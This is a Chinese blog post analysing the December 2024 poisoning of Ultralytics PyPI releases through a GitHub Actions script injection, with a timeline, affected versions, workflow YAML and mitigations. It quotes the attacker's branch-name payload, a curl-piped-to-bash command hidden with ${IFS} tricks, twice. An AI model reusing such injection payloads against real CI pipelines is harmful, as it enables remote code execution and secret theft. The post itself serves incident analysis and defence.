文章摘要
加载中...

Ultralytics 是YOLOv8(v11)的代码仓库,YOLOv11是一个很常见的图像目标检测的机器学习库,其性能在YOLO众多版本中表现出色。

相关链接:Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027

事件概述

详细事件经过过程可查看此 Issue : Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027

Ultralytic发布于PyPI的包在2024-12-04v8.3.41版本和2024-12-05v8.3.42版本被投毒,其中恶意脚本主要是在已安装这两个版本的用户的环境中执行挖矿脚本。投毒来源于PR所运行的Workflow

在事件发生36小时后再次被投毒,攻击者可能是通过前面两次投毒的PRWorkflow获取到了PyPIAPI密钥,然后使用该密钥在2024-12-078.3.458.3.46版本中再次投毒。

时间线

均为UTC时间

  • 2024-12-04 20:51 -> v8.3.41 was released by shell injection - #18018 triggered this action.

  • 2024-12-05 12:47 -> v8.3.42 was released - #17970 triggered this action.

  • 2024-12-07 01:41:45 -> v8.3.45 was likely released directly to PyPI, there is no related PR or action triggered from the action history.

  • 2024-12-07 02:27:14 -> v8.3.46 was likely released directly to PyPI, there is no related PR or action triggered from the action history.

影响范围

影响范围目前已知情报,注意:如果你安装过以下版本,无论是否为受影响系统环境,都应该检查是否受到影响。

受影响的版本有:v8.3.41v8.3.42v8.3.45v8.3.46

受影响系统环境有:Linux x86MacOS arm64

受影响安装来源:通过PyPI源安装的用户,通过Git仓库源安装的用户可能不受影响;任何含有v8.3.41v8.3.42v8.3.45v8.3.46版本的Docker镜像;任何上游依赖了v8.3.41v8.3.42v8.3.45v8.3.46的项目。

你可以通过以下命令检查是否受到影响:

bash
pip show ultralytics

解决方案

首先卸载受影响的版本,然后重新安装最新版本。

bash
pip uninstall ultralytics

然后通过 GitHub 源重新安装最新版本。

bash
pip install git+https://github.com/ultralytics/ultralytics.git

或者通过 PyPI 源重新安装最新版本。

bash
pip install ultralytics

事件缘由

分析依据:Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027 的讨论

触发事件

OpenIM RobotUltralytics 项目提交了 PR #18020

bash
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

注意其分支名称,很诡异,居然是一个 shell 脚本,很明显这是一个恶意 PR

其将 file.sh 文件下载并执行。

此文件已经被删除,会报 404 错误。

yaml 分析

PR 触发了 UltralyticsPR 自动化 ultralytics/.github/workflows/format.yml

yaml 文件如下:

yaml
# Ultralytics 🚀 - AGPL-3.0 License https://ultralytics.com/license
# Ultralytics Actions https://github.com/ultralytics/actions
# This workflow automatically formats code and documentation in PRs to official Ultralytics standards

name: Ultralytics Actions

on:
  issues:
    types: [opened, edited]
  discussion:
    types: [created]
  pull_request_target:
    branches: [main]
    types: [opened, closed, synchronize, review_requested]

jobs:
  format:
    runs-on: ubuntu-latest
    steps:
      - name: Run Ultralytics Formatting
        uses: ultralytics/actions@main
        with:
          token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
          labels: true # autolabel issues and PRs
          python: true # format Python code and docstrings
          prettier: true # format YAML, JSON, Markdown and CSS
          spelling: true # check spelling
          links: false # check broken links
          summary: true # print PR summary with GPT4o (requires 'openai_api_key')
          openai_api_key: ${{ secrets.OPENAI_API_KEY }}
          first_issue_response: |
            👋 Hello @${{ github.actor }}, thank you for your interest in Ultralytics 🚀! We recommend a visit to the [Docs](https://docs.ultralytics.com) for new users where you can find many [Python](https://docs.ultralytics.com/usage/python/) and [CLI](https://docs.ultralytics.com/usage/cli/) usage examples and where many of the most common questions may already be answered.

            If this is a 🐛 Bug Report, please provide a [minimum reproducible example](https://docs.ultralytics.com/help/minimum_reproducible_example/) to help us debug it.

            If this is a custom training ❓ Question, please provide as much information as possible, including dataset image examples and training logs, and verify you are following our [Tips for Best Training Results](https://docs.ultralytics.com/guides/model-training-tips/).

            Join the Ultralytics community where it suits you best. For real-time chat, head to [Discord](https://discord.com/invite/ultralytics) 🎧. Prefer in-depth discussions? Check out [Discourse](https://community.ultralytics.com). Or dive into threads on our [Subreddit](https://reddit.com/r/Ultralytics) to share knowledge with the community.

            ## Upgrade

            Upgrade to the latest `ultralytics` package including all [requirements](https://github.com/ultralytics/ultralytics/blob/main/pyproject.toml) in a [**Python>=3.8**](https://www.python.org/) environment with [**PyTorch>=1.8**](https://pytorch.org/get-started/locally/) to verify your issue is not already resolved in the latest version:

            ```bash
            pip install -U ultralytics
            ```

            ## Environments

            YOLO may be run in any of the following up-to-date verified environments (with all dependencies including [CUDA](https://developer.nvidia.com/cuda)/[CUDNN](https://developer.nvidia.com/cudnn), [Python](https://www.python.org/) and [PyTorch](https://pytorch.org/) preinstalled):

            - **Notebooks** with free GPU: <a href="https://console.paperspace.com/github/ultralytics/ultralytics"><img src="https://assets.paperspace.io/img/gradient-badge.svg" alt="Run on Gradient"/></a> <a href="https://colab.research.google.com/github/ultralytics/ultralytics/blob/main/examples/tutorial.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a> <a href="https://www.kaggle.com/models/ultralytics/yolo11"><img src="https://kaggle.com/static/images/open-in-kaggle.svg" alt="Open In Kaggle"></a>
            - **Google Cloud** Deep Learning VM. See [GCP Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/google_cloud_quickstart_tutorial/)
            - **Amazon** Deep Learning AMI. See [AWS Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/aws_quickstart_tutorial/)
            - **Docker Image**. See [Docker Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/docker_image_quickstart_tutorial/) <a href="https://hub.docker.com/r/ultralytics/ultralytics"><img src="https://img.shields.io/docker/pulls/ultralytics/ultralytics?logo=docker" alt="Docker Pulls"></a>

            ## Status

            <a href="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule"><img src="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml/badge.svg" alt="Ultralytics CI"></a>

            If this badge is green, all [Ultralytics CI](https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule) tests are currently passing. CI tests verify correct operation of all YOLO [Modes](https://docs.ultralytics.com/modes/) and [Tasks](https://docs.ultralytics.com/tasks/) on macOS, Windows, and Ubuntu every 24 hours and on every commit.

我们先分析以下以上 Workflowyaml 文件干了什么事情:

  • 触发条件:

    • issuesopenededited
    • discussioncreated
    • pull_request_targetopenedclosedsynchronizereview_requested

在触发后,首先执行 Run Ultralytics Formatting 步骤:

yaml
- name: Run Ultralytics Formatting
  uses: ultralytics/actions@main
  with:
    token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
    labels: true # autolabel issues and PRs
    python: true # format Python code and docstrings
    prettier: true # format YAML, JSON, Markdown and CSS
    spelling: true # check spelling
    links: false # check broken links
    summary: true # print PR summary with GPT4o (requires 'openai_api_key')
    openai_api_key: ${{ secrets.OPENAI_API_KEY }}

在这里,他调用了 ultralytics/actions 仓库的 main 分支的 Actions,并传入了一些参数,其中包括 GITHUB_TOKENPR 分支名称。

我们再来看看 ultralytics/actions 仓库的 main 分支的 Actions 文件:actions/action.yml

然后,根据前面的分析。我们主要要找到在哪里传入了分支名称,我们可以看到在:

yaml
- name: Commit and Push Changes
  if: (github.event_name == 'pull_request' || github.event_name == 'pull_request_target') && github.event.action != 'closed'
  run: |
    git config --global user.name "${{ inputs.github_username }}"
    git config --global user.email "${{ inputs.github_email }}"
    git pull origin ${{ github.head_ref || github.ref }}
    git add .
    git reset HEAD -- .github/workflows/  # workflow changes are not permitted with default token
    if ! git diff --staged --quiet; then
      git commit -m "Auto-format by https://ultralytics.com/actions"
      git push
    else
      echo "No changes to commit"
    fi
  shell: bash
  continue-on-error: false

在这里,我们可以看到,他运行了{{ github.head_ref || github.ref }},这个变量是 PR 的分支名称,那么结合之前的 PRshell 脚本,我们可以知道,他将 PR 的分支名称作为 shell 脚本的参数传入,这就是恶意 PR 执行供应链投毒的根本原因。

在这里,执行相关命令将被替换为变量:

bash
git pull origin $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

疑云

到这里,我们只知道一切都指向了 PRshell 脚本,但是我们并不知道这个 shell 脚本到底做了什么,因为它已经被删除了,我们只能根据 Issue 的讨论来推测。

同时,此脚本如何触发了 PyPI 的投毒,也是一个未知数,因为此次actions并没有直接操作PyPI

再次投毒

2024-12-07,再次被投毒,攻击者可能是通过前面两次投毒的PRWorkflow获取到了PyPIAPI密钥,然后使用该密钥在2024-12-078.3.458.3.46版本中再次投毒。

到这里其实才是我对于 Ultralytics 官方最大的疑问,为什么 PyPIAPI 密钥泄露后没有被删除重置,反而在36小时内再次被攻击者利用。

后话

写到这里,我再完整看了一下 Issue 的完整讨论,发现早有人写完了分析,前面如何获取 PyPIAPI 密钥,以及如何再次投毒的问题,我也有了答案。

这里我就不再赘述了,有兴趣的可以查看 zizmor would have caught the Ultralytics workflow vulnerability

投毒发生次要原因

  • Githubbranch 可以是任意的,攻击者可以通过 PRbranch 名称传入恶意 shell 脚本,或许 Github 应该对 branch 名称做一些限制。

  • GithubActions 机制无是否使用之分,比如说,我有一个PyPIAPI密钥,无论我yaml中是否使用,都是可被读取的。

  • Ultralytics 官方不重视安全问题,其相关漏洞在2024-08-15就被反馈漏洞:CWE-94 GitHub Actions Script Injection in "ultralytics/actions",并被及时修复,但是其在commit: c1365cedb65b86d4f77cabc192873ee4b6b33276再次引入了漏洞。

  • Ultralytics 官方没有及时响应,在出现投毒事件后理应第一时间发布对外警告,重置所有可能出现泄露的密钥,导致其再次被泄露密钥发版。

如何避免

作为开发者,我们当然不愿意看见自己的项目被投毒,那么我们应该如何避免这种情况呢?

  • 使用局部密钥,而不是全局密钥,控制密钥可访问范围。

  • 警惕 PRWorkflow 的权限,不要让 PRWorkflow 拥有过高的权限。

  • 警惕自动触发,PR 或者 Issue 触发最好由管理员手动触发。

  • 限制 branch 名称,不要让 branch 名称可以是任意的。

  • 重视密钥安全,密钥泄露后应该第一时间重置密钥。

总结

这件事情能发生,更印证了世界是一个大型的草台班子,其他的不说,修复漏洞并再次引入像是我这种半吊子开发才应该干出来的事情,作为知名的机器学习库,Ultr alytics 居然能犯这种错误,还有就是发现泄露密钥后没有及时重置密钥,导致再次被攻击。太难蚌了。

评论 隐私政策